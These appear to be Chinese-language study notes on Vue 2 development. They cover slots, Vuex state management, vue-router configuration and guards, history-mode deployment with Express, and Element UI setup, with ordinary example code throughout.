1 2 3 4 5
| import vueResource from 'vue-resource';
Vue.use(vueResource);
|
示例:
1 2 3 4 5 6 7 8
| this.$http.get(`https://api.github.com/search/users?q=${this.keyWorld}`).then( response=>{ console.log('请求成功'); }, error=>{ console.log('请求失败后'); } )
|
其实和axios一摸一样
1 2 3 4 5 6 7 8
| axios.get(`https://api.github.com/search/users?q=${this.keyWorld}`).then( response=>{ console.log('请求成功'); }, error=>{ console.log('请求失败后'); } )
|
插槽
- 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于父组件==>子组件
- 分类:默认插槽,具名插槽,作用域插槽
- 使用方式:默认插槽,具名插槽,作用域插槽
默认插槽
想要实现这种效果就要使用到vue的插槽知识
- 分成两个组件,一个app老大组件,一个分类块组件
- 分类块组件中的东西又不一样,可以利用插槽来配置

App组件中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <div class="container"> <Category title="美食" > <img src="https://ftp.bmp.ovh/imgs/2020/12/a3f405032b1db71a.png" alt=""> </Category>
<Category title="游戏" > <ul> <li v-for="(g,index) in games" :key="index">{{g}}</li> </ul> </Category>
<Category title="动画" > <img src="https://ftp.bmp.ovh/imgs/2020/12/a3f405032b1db71a.png" alt=""> </Category>
</div>
|
Category组件
1 2 3 4 5 6
| <div class="category"> <h3>{{title}}分类</h3>
<slot>我是默认值,当组建的使用者没有传递具体结构的时候,我再出现</slot> </div>
|
具名插槽
要求每个组件标签体中的节点插入到指定<slot></slot>
中,可以对slot进行命名
- 通过对
<slot></slot>
进行命名<slot name='demo1'></slot>
- 标签体中的标签进行定位
slot="center"
- 另外,如果你使用的是
<template>
标签就要使用v-slot:footer
这种命名方式

App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <div class="container">
<Category title="美食" > <img slot="center" src="https://ftp.bmp.ovh/imgs/2020/12/a3f405032b1db71a.png" alt=""> <a href="#" slot="footer">美食</a> </Category>
<Category title="游戏" > <ul slot="center"> <li v-for="(g,index) in games" :key="index">{{g}}</li> </ul> <div slot="footer" class="foot"> <a href="#">游戏</a> <a href="#">游戏</a> </div> </Category>
<Category title="动画" > <img slot="center" src="https://ftp.bmp.ovh/imgs/2020/12/a3f405032b1db71a.png" alt=""> <template v-slot:footer> <div slot="footer" class="foot"> <a href="#">动画</a> <a href="#">动画</a> </div> <h4>欢迎</h4> </template>
</Category>
</div>
|
Category.vue
1 2 3 4 5 6 7 8 9 10
| <div class="category"> <h3>{{title}}分类</h3>
<slot name="center">我是默认值1,当组建的使用者没有传递具体结构的时候,我再出现</slot> <slot name="footer">我是默认值2,当组建的使用者没有传递具体结构的时候,我再出现</slot>
</div>
|
作用域插槽
- 当数据在子组件中,且无法向app传递数据的时候
- Category.vue组件可以把数据传递给app.vue
- 通过在slot标签中添加属性
:games="games"
- app.vue中组件标签体要用
<template>
包裹 并添加属性scope="games"
- 此时
<template>
内部就可以读取到games
- 也可通过解构赋值的操作避免多次调用,见下文
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <div class="container">
<Category title="游戏" > <template scope="games"> <ul> <li v-for="(g,index) in games.games" :key="index">{{g}}</li> </ul> </template> </Category>
<Category title="游戏" > <template scope="{games}"> <ol> <li v-for="(g,index) in games" :key="index">{{g}}</li> </ol> </template> </Category>
<Category title="游戏" > <template scope="games"> <h4 v-for="(g, index) in games.games" :key="index">{{g}}</h4> </template> </Category> </div>
|
Category.vue
1 2 3 4 5 6 7 8 9 10
| <template> <div class="category"> <h3>{{title}}分类</h3>
<slot :games="games">默认内容</slot> </div> </template>
|
Vuex
Vuex是什么
- 概念:专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对Vue应用中多个组件的共享状态进行集中式管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信
- Github地址:链接
- 官方文档:前往
什么时候使用Vuex
- 多个组件依赖于同一状态(数据)
- 来自不同组件的行为需要变更同一状态
全局事件总线实现
缺点:繁琐

Vuex实现
优点:牛逼

Vuex工作原理

- Vue Components相当于客人
- Avtions相当于服务员
- Mutations相当于后厨
- State相当于饭菜(数据)
Vuex安装
注意:
- vue2中,要用vuex的3版本
- vue3中,要用vuex的4版本
执行:npm i vue@3
安装
搭建环境:
- 创建文件夹
src/store/index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import Vue from 'vue'
import Vuex from 'vuex';
Vue.use(Vuex);
const actions = {
};
const mutations = {
};
const state = {
};
export default new Vuex.Store({ actions, mutations, state, });
|
- 在main.js入口文件引入
store
配置项
1 2 3 4 5 6 7 8 9 10 11 12
| ......
import store from './store/index'; ......
new Vue({ el: "#app", render: h => h(App), store, });
|
import引入的注意事项:
- 脚手架在读取js文件的时候会先将import置顶执行,这就导致在main中你Vue.use(Vuex)是不起作用的
- 所以要在index.js中引入Vue和Vuex并执行
Vue.use(Vuex);
Vuex使用
现在想完成一个加法减法,奇数可加,等待加的功能
- 抽离出公共数据n
- 将sum数据放置到state中
- 当然,sum数据是可以在组件实例对象的$store.state身上找到的
Count.vue文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| methods: { increment(){ this.$store.commit('JIA',this.n); }, decrement(){ this.$store.commit('JIAN',this.n); }, incrementOdd(){ this.$store.dispatch('jiaOdd',this.n); }, incrementWait(){ this.$store.dispatch('jiaWite',this.n); }, },
|
index.js文件中
actions
存放业务逻辑类代码
(context, value)
- context 上下文(根据情况给你传递数据,有点像mini版的store)
- value 组件传递过来的值(上文中的this.n)
mutations
处理数据
- (state, value)
- state 存放sum数据的容器
- value 传递的值(上文中的this.n)
state
存放数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| ......
const actions = { jia(context, value) { context.commit('JIA', value); }, jian(context, value) { context.commit('JIAN', value); }, jiaOdd(context, value) { if (context.state.sum % 2) { context.commit('JIA', value); } }, jiaWite(context, value) { setTimeout(() => { context.commit('JIA', value); }, 300); } };
const mutations = { JIA(state, value) { state.sum += value }, JIAN(state, value) { state.sum -= value }, };
const state = { sum: 0 }; ......
|
getter配置项
- 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工
- 在
store.js
中追加getter
配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ......
const getters = { bigSum(state) { return state.sum * 10 } }
export default new Vuex.Store({ actions, mutations, state, getters }); ......
|
四个map方法的使用
1.mapState方法
用于帮助映射state
中的数据为计算属性
引入:import {mapState} from 'vuex'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| computed:{ ...... ...mapState({he:'sum',svexiao:'school',xveke:'subject'}),
...mapState(['sum','school','subject']), ...... },
|
2.mapGetter方法
用于帮助映射getters
中的数据为计算属性
引入:import {mapState,mapGetters} from 'vuex'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| computed:{ ...... ...mapGetters({bigSum:"bigSum"}),
...mapGetters(["bigSum"]), ......
},
|
3.mapMutations方法
用于帮助我们生成与mapMutations
对话的方法,即:包含:$store.commit(xxx)
的函数
引入:import {mapState,mapGetters,mapMutations} from 'vuex'
1 2 3 4 5 6 7 8 9 10 11 12
| methods: { ...... ...mapMutations({increment:'JIA',decrement:'JIAN'}), ...mapMutations(['JIA','JIAN']), ......
},
|
4.mapActions方法
用于帮助我们生成与actions
对话的方法,即包含:$store.dispatch(xxx)
的函数
引入:import {mapState,mapGetters,mapMutations,mapActions } from 'vuex'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| methods: { ......
...mapActions(['jiaOdd','jiaWite']), ...... },
|
注意:
注意: mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则
参数是事件对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <template> <div class="category"> <h1>当前求和为:{{sum}}</h1> <h3>当前求和放大十倍:{{bigSum}}</h3> <h3>我在{{school}},学习{{subject}}</h3> <select v-model.number="n"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="JIA(n)">+</button> <button @click="JIAN(n)">-</button> <button @click="jiaOdd(n)">当前和为奇数再加</button> <button @click="jiaWite(n)">等一等再加</button> </div> </template>
<script>
import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
export default { name:'Count', data(){ return { n:1,//用户选择的数字 } }, computed:{ ...mapState(['sum','school','subject']), ...mapGetters(["bigSum"]), }, methods: { ...mapMutations(['JIA','JIAN']), ...mapActions(['jiaOdd','jiaWite']), }, mounted() { }, } </script>
|
模块化命名空间
- 目的:让代码好维护,让多种数据分类更加明确
- 修改
store.js
- 开启命名空间
namespaced: true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| const countOptions = { namespaced: true, actions: {...}, mutations: {...}, state: {...}, getters: {...} };
const peopleOptions = { namespaced: true, actions: {...}, mutations: {...}, state: {...}, getters: {...} };
export default new Vuex.Store({ modules: { a: countOptions, b: peopleOptions } });
|
- 开启命名空间后。组件中读取state数据
1 2 3 4
| this.$store.state.a.list
...mapState('a',['sum','school','subject'])
|
- 开启命名空间后,组件中读取getters数据
1 2 3 4
| this.$store.getters['b/firstPersonName']
...mapGetters('a',["bigSum"]),
|
- 开启命名空间后,组件中调用dispatch
1 2 3 4
| this.$store.dispatch('b/addPersonWang',personObj);
...mapActions('a',['jiaOdd','jiaWite']),
|
- 开启命名空间后,组件中调用commit
1 2 3 4
| this.$store.commit('b/ADD_PERSON',personObj);
...mapMutations('a',['JIA','JIAN']),
|
Vue中的路由
vue-router的理解
vue的一个插件库,专门用来实现SPA应用
对SPA应用的理解
- 单页 Web应用(single page web application, SPA)
- 整个应用只有一 个完整的页面。
- 点击页面中的导航链接不会刷新页面,只会做页面的局部更新。
- 数据需要通过 ajax请求获取
路由的理解
什么是路由?
- 一个路由就是一组映射关系(key - value)
- key 为路径value可能是function或component
路由分类
后端路由:
理解: value是function,用于处理客户端提交的请求
工作过程: 服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求返回响应数据。
前端路由:
理解: value是component,用于展示页面内容。
工作过程: 当浏览器的路径改变时,对应的组件就会显示。
基本使用
- 安装vue-router,命令:
npm i vue-router
- 应用插件:
Vue.use(VueRouter)
- 编写router配置项:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
import VueRouter from 'vue-router'
import About from '../components/About.vue' import Home from '../components/Home.vue'
export default new VueRouter({ routes: [{ path: '/about', component: About }, { path: '/home', component: Home }, ] });
|
main.js文件编写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import Vue from "vue";
import App from "./App.vue";
import VueRouter from 'vue-router'
import router from './router'
Vue.config.productionTip = false;
Vue.use(VueRouter);
new Vue({ el: "#app", render: h => h(App), router });
|
- 实现切换(active-class可配置激活的样式)
1 2 3 4 5 6 7
|
<router-link class="list-group-item" active-class="active" to="/about">About</router-link> <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
|
- 指定展示位置
1 2
| <router-view></router-view>
|
app中无需引入组件就可以通过路由来在指定路由位置展示
注意点
- 路由组件通常存放在
pages
文件夹中,一般组件通常存放在components
文件夹
- 通过切换,隐藏了的路由组件,默认是被销毁的,你需要的时候再去挂载
- 每个组件都有自己的
$route
属性,里面存储者自己的路由信息
- 整个应用只有一个router,可以通过组件的
$router
属性获取到
多级(嵌套)路由
- 配置路由规则,使用children配置项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| export default new VueRouter({ routes: [{ path: '/about', component: About, }, { path: '/home', component: Home, children: [{ path: 'news', component: News, }, { path: 'message', component: Message, } ] }, ] });
|
- 跳转(写完整路径)
1
| <router-link class="list-group-item " active-class="active" to="/home/news">News</router-link>
|
路由的query参数
- 传递参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <!-- 跳转路由并携带query参数,to的字符串写法 --> <router-link :to="`/home/message/detail?id=${item.id}&title=${item.title}`">{{item.title}}</router-link>
<!-- 跳转路由并携带query参数,to的对象写法 --> <router-link :to="{ path:'/home/message/detail', query:{ id:item.id, title:item.title } }"> {{item.title}} </router-link>
|
- 接收参数
1 2 3 4
| <ul> <li>消息编号:{{$route.query.id}}</li> <li>消息编号:{{$route.query.title}}</li> </ul>
|
命名路由
是对上文中path:'/home/message/detail',
参数的优化
- 给路由命名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| export default new VueRouter({ routes: [{ name: 'guanyv', path: '/about', component: About, }, { path: '/home', component: Home,
children: [{ path: 'news', component: News, }, { path: 'message', component: Message,
children: [{ name: 'xiangqing', path: 'detail', component: Detail, }, ] } ] }, ] });
|
- 简化跳转
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| //简化前 <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
//简化后 <router-link :to="{ name:'xiangqing', //就不需要使用path而是使用name query:{ id:item.id, title:item.title } }"> {{item.title}} </router-link>
|
路由的params参数
- 配置路由,声明接收params参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| export default new VueRouter({ routes: [{ name: 'guanyv', path: '/about', component: About, }, { path: '/home', component: Home,
children: [{ path: 'news', component: News, }, { path: 'message', component: Message,
children: [{ name: 'xiangqing', path: 'detail/:id/:title', component: Detail, }, ] } ] }, ] });
|
- 传递参数
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!-- 跳转路由并携带params参数,to的字符串写法 --> <!-- <router-link :to="`/home/message/detail/${item.id}/${item.title}`">{{item.title}}</router-link> -->
<!-- 跳转路由并携带params参数,to的对象写法 --> <router-link :to="{ name:'xiangqing', params:{ id:item.id, title:item.title } }"> {{item.title}} </router-link>
|
注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置
- 接收参数
1 2 3 4
| <ul> <li>消息编号:{{$route.params.id}}</li> <li>消息编号:{{$route.params.title}}</li> </ul>
|
路由的props配置
作用:让路由组件更方便的收到参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| { name: 'xiangqing', path: 'detail', component: Detail,
props($route) { return { id: $route.query.id, title: $route.query.title } } }
|
<router-link>
的replace属性
- 作用:控制路由跳转时操作浏览器历史记录的模式
- 浏览器的历史记录有两种写入方式:分别为push和replace,push 是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
- 如何开启replace模式:
<router-link replace ...... >Nlews</router-link>
编程式路由导航
- 作用:不借助
<router-link>
实现路由跳转,让路由跳转更加灵活
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| methods:{ pushShow(m){ this.$router.push({ name:'xiangqing', query:{ id:m.id, title:m.title } }) }, replaceShow(m){ this.$router.replace({ name:'xiangqing', query:{ id:m.id, title:m.title } }) } }
|
- 类似于BOM中的浏览器历史记录前进回退功能的api
1 2 3 4 5 6 7 8 9 10 11
| methods:{ back(){ this.$router.back(); }, forward(){ this.$router.forward(); }, go(){ this.$router.go(3); } }
|
缓存路由组件
- 作用:让不展示的路由组件保持挂载,不被销毁
- 具体编码
<keep-alive>
中存放要缓存的组件
include="News"
指定你要缓存的路由
- 如果没有
include
,则缓存所有这里面存放的组件
1 2 3
| <keep-alive include="News"> //路由名字 <router-view></router-view> </keep-alive>
|
- 如果缓存的不止一个组件可以使用
:include="[]"
1 2 3
| <keep-alive :include="['News','Message']"> //这两个组件都被缓存 <router-view></router-view> </keep-alive>
|
两个新的生命周期钩子
- 作用:路由组件独有的两个钩子,用于捕获路由组件的激活状态
- 具体名字
activated
路由组件被激活时触发
deactivated
路由组件失活时被触发
其实还有一个生命周期钩子叫nextTick
路由守卫
- 作用:对路由进行权限控制
- 分类:全局守卫,独享守卫,组件内守卫
1.全局守卫
全局前置路由守卫
初始化和在每一次路由器切换之前
1 2 3 4 5 6
| { name: 'xinwen', path: 'news', component: News, meta: { isAuth: true, title: '新闻' }, }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| router.beforeEach((to, from, next) => { if (to.meta.isAuth) { if (localStorage.getItem('school') == 'found') { next(); } else { alert('学校名不对'); } } else { next(); } });
|
2.后置守卫
后置路由守卫
初始化和在每一次路由器切换之后
1 2 3
| router.afterEach((to, from) => { ...... })
|
3.独享路由守卫
某一个路由所独享的守卫
- 为这个路由添加beforeEnter方法
- 和beforeEach一样的写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| { name: 'xinwen', path: 'news', component: News, meta: { isAuth: true, title: '新闻' }, beforeEnter: (to, from, next) => { if (to.meta.isAuth) { if (localStorage.getItem('school') == 'found') { next(); } else { alert('学校名不对'); } } else { next(); } }, },
|
4.组件路由守卫
写在组件内部的路由守卫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| beforeRouteEnter(){ if (to.meta.isAuth) { if (localStorage.getItem('school') == 'found') { next(); } else { alert('学校名不对'); } } else { next(); } },
beforeRouteLeave(){ next(); }
|
路由器的两种工作模式
对于一个url来说,什么是hash值? #及其后面的内容就是hash值。
hash值不会包含在HTTP请求中,即: hash值不会带给服务器。
hash模式:
地址中永远带着#号,不美观。
若以后将地址通过第三方手机app分享,若app校验严格, 则地址会被标记为不合法。
兼容性较好。
history模式:
地址干净,美观。
兼容性和hash模式相比略差。
应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。
服务器的上线部署
- 当前端工作完成时需要对工程进行打包
npm run build
- 打包好的文件传给后端人员
- 后端人员将文件放进static或者public文件中
- 对于history模式的路由,后端人员可以通过npm包
connect-history-api-fallback
加以解决
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| const express = require('express');
const history = require('connect-history-api-fallback');
const app = express();
app.use(history());
app.use(express.static(__dirname + '/static'))
app.get('/person', (req, res) => { res.send({ name: 'tom', age: 18 }) })
app.listen(5005, (err) => { if (!err) { console.log('服务器启动成功'); } })
|
Vue UI组件库
移动端常用UI组件库
- Vant https://youzan.github.io/vant
- Cube UI https://didi.github.io/cube-ui
- Mint UI http://mint-ui.github.io
PC端常用UI组件库
- Element UI https://element.eleme.cn
- 2.IView UI https://www.iviewui.com
以Element UI为例
安装npm i element-ui
1.完整引入
main.js文件中
弊端:文件过大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import Vue from "vue"; import App from "./App.vue";
import ElementUI from 'element-ui';
import 'element-ui/lib/theme-chalk/index.css';
Vue.use(ElementUI);
Vue.config.productionTip = false;
new Vue({ el: "#app", render: h => h(App), });
|
2.按需引入
- 安装babel-plugin-component
npm install babel-plugin-component
- 为
babel.config.js
添加配置
- 官网中写的是
.babelrc
,vue2.0中要更改babel.config.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| module.exports = { presets: [ '@vue/cli-plugin-babel/preset', ["@babel/preset-env", { "modules": false }] ], "plugins": [ [ "component", { "libraryName": "element-ui", "styleLibraryName": "theme-chalk" } ] ] }
|
- 更改mian.js文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import Vue from "vue"; import App from "./App.vue";
import { Button, Row, DatePicker } from 'element-ui'; Vue.component('el-button', Button);
Vue.config.productionTip = false;
new Vue({ el: "#app", render: h => h(App),
});
|